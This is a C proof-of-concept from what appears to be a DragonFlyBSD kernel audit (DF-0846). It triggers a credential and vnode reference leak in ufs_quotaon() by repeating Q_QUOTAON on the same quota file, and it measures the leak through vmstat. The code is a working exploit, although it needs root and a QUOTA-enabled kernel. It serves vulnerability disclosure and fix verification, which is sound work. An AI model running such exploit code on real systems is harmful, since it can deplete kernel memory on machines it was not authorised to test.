DragonFlyBSD Kernel Audit
DF-0846 / quotaon_leak.c
← back to finding ↓ download raw
/*
 * DF-0846 PoC — Credential + vnode-reference leak in ufs_quotaon() when
 * Q_QUOTAON re-enables quotas on the SAME already-active quota file path.
 *
 * Root cause (sys/vfs/ufs/ufs_quota.c):
 *   ufs_quotaon() does vn_open() [line 425] which takes a fresh vnode ref,
 *   then `if (*vpp != vp) ufs_quotaoff(mp, type);` [line 437].  When the
 *   SAME quota file is re-supplied (*vpp == vp), quotaoff() is SKIPPED, so
 *   the extra vnode ref from vn_open() is never released (vn_close lives
 *   inside quotaoff).  Then `ump->um_cred[type] = crhold(cred);` [line 448]
 *   overwrites the stored credential pointer without crfree()-ing the old
 *   one.  Each call leaks one cred *reference* + one vnode *reference*.
 *
 *   crhold()/vn_open() only bump refcounts on existing objects, so the leak
 *   does not allocate new structs on every call.  To make the leak
 *   observable in the kernel "cred" zone count, this PoC forks N children
 *   that each obtain a DISTINCT cred (via setresgid -> crcopy), perform the
 *   leaky re-Q_QUOTAON M times (inflating their own cred's cr_ref by M and
 *   never letting it drop back to 0), and exit.  Because the child's cred
 *   refcount is pinned by the leaked references, it can never be freed ->
 *   the cred struct leaks permanently and the "cred" zone Count grows by N.
 *
 * REACHABILITY: the Q_QUOTAON dispatch in ufs_quotactl() (ufs_vfsops.c:77)
 *   is #else-gated on `options QUOTA`.  The default X86_64_GENERIC config
 *   does NOT include it (only LINT64 does); on the stock kernel
 *   quotactl(Q_QUOTAON) returns EOPNOTSUPP and ufs_quotaon() is never
 *   reached.  The running GENERIC kernel's ufs_quotactl is literally the
 *   stub `mov $0x2d,%eax ; retq`.  To exercise the bug this PoC must be run
 *   on a kernel built with `options QUOTA` AND against a UFS mount (the
 *   audit guest's / is hammer2; /boot is ufs).
 *
 *   Even on a QUOTA kernel the dispatcher requires
 *   caps_priv_check(SYSCAP_NOQUOTA_WR) -> root.  This is a root-only
 *   resource leak, not a privilege boundary crossing.
 *
 * Usage: ./quotaon_leak [children] [iters_per_child]
 *   run as root on a QUOTA-enabled kernel; prints cred-zone count delta.
 */

#include <sys/param.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <vfs/ufs/quota.h>
#include <err.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define QUOTA_FILE  "/boot/quota.user"
#define MOUNT_POINT "/boot"

/* Read the kernel "cred" malloc-zone live count from `vmstat -m`. */
static long
cred_count(void)
{
	FILE *fp;
	char line[256];
	long count = -1;

	fp = popen("vmstat -m 2>/dev/null", "r");
	if (fp == NULL)
		return -1;
	while (fgets(line, sizeof(line), fp) != NULL) {
		if (strstr(line, "cred") != NULL && strstr(line, "Memory") == NULL) {
			char *p = line;
			while (*p == ' ' || *p == '\t')
				p++;
			while (*p && *p != ' ' && *p != '\t')
				p++;
			while (*p == ' ' || *p == '\t')
				p++;
			count = strtol(p, NULL, 10);
			break;
		}
	}
	pclose(fp);
	return count;
}

static void
leak_child(int iters)
{
	int i;

	/* Distinct cred: setresgid forces crcopy() to materialize a new
	 * struct ucred.  We keep uid=0 so caps_priv_check(SYSCAP_NOQUOTA_WR)
	 * still grants root.  getpid() makes the gid (and thus the cred)
	 * unique per child. */
	if (setresgid(getpid() & 0xfffe, getpid() & 0xfffe, 0) < 0)
		err(2, "child setresgid");

	for (i = 0; i < iters; i++) {
		if (quotactl(MOUNT_POINT, QCMD(Q_QUOTAON, USRQUOTA), 0,
			     QUOTA_FILE) < 0)
			err(2, "child quotactl iter %d", i);
	}
	/* On exit, curproc's cred gets crfree()'d once, but its cr_ref was
	 * pinned by `iters` leaked references in um_cred[type] overwrites ->
	 * the cred struct can never reach ref 0 and is leaked permanently. */
	_exit(0);
}

int
main(int argc, char **argv)
{
	int nchild = (argc > 1) ? atoi(argv[1]) : 60;
	int iters  = (argc > 2) ? atoi(argv[2]) : 30;
	int fd, i, status, rc;
	long before, after;

	if (geteuid() != 0)
		errx(2, "must run as root (Q_QUOTAON requires SYSCAP_NOQUOTA_WR)");

	fd = open(QUOTA_FILE, O_RDWR | O_CREAT | O_TRUNC, 0644);
	if (fd < 0)
		err(2, "open %s", QUOTA_FILE);
	close(fd);

	/* Turn quotas ON once; establishes um_quotas[type] == vp so the
	 * subsequent same-path calls hit the *vpp == vp branch. */
	rc = quotactl(MOUNT_POINT, QCMD(Q_QUOTAON, USRQUOTA), 0, QUOTA_FILE);
	if (rc < 0) {
		int e = errno;
		warn("initial quotactl(Q_QUOTAON) errno=%d (%s)", e, strerror(e));
		if (e == EOPNOTSUPP)
			errx(3, "EOPNOTSUPP: target '%s' is not UFS or kernel "
			        "lacks `options QUOTA` (default GENERIC). /boot is "
			        "UFS on this guest; needs a QUOTA kernel.", MOUNT_POINT);
	}

	before = cred_count();
	printf("=== DF-0846 Q_QUOTAON same-path leak ===\n");
	printf("children=%d  iters/child=%d  cred count BEFORE: %ld\n",
	       nchild, iters, before);

	for (i = 0; i < nchild; i++) {
		pid_t pid = fork();
		if (pid < 0)
			err(2, "fork");
		if (pid == 0)
			leak_child(iters);
		while (waitpid(pid, &status, 0) < 0 && errno == EINTR)
			;
	}

	/* turn quotas off so the mount is left clean */
	quotactl(MOUNT_POINT, QCMD(Q_QUOTAOFF, USRQUOTA), 0, 0);

	after = cred_count();
	printf("cred count AFTER : %ld\n", after);
	printf("cred delta       : %ld  (vulnerable kernel ~= +%d)\n",
	       after - before, nchild);
	if (after - before > nchild / 2)
		printf("VERDICT: LEAK CONFIRMED (distinct leaked cred structs ~= "
		       "children)\n");
	else
		printf("VERDICT: no leak (cred count ~flat -> fix in effect)\n");
	return 0;
}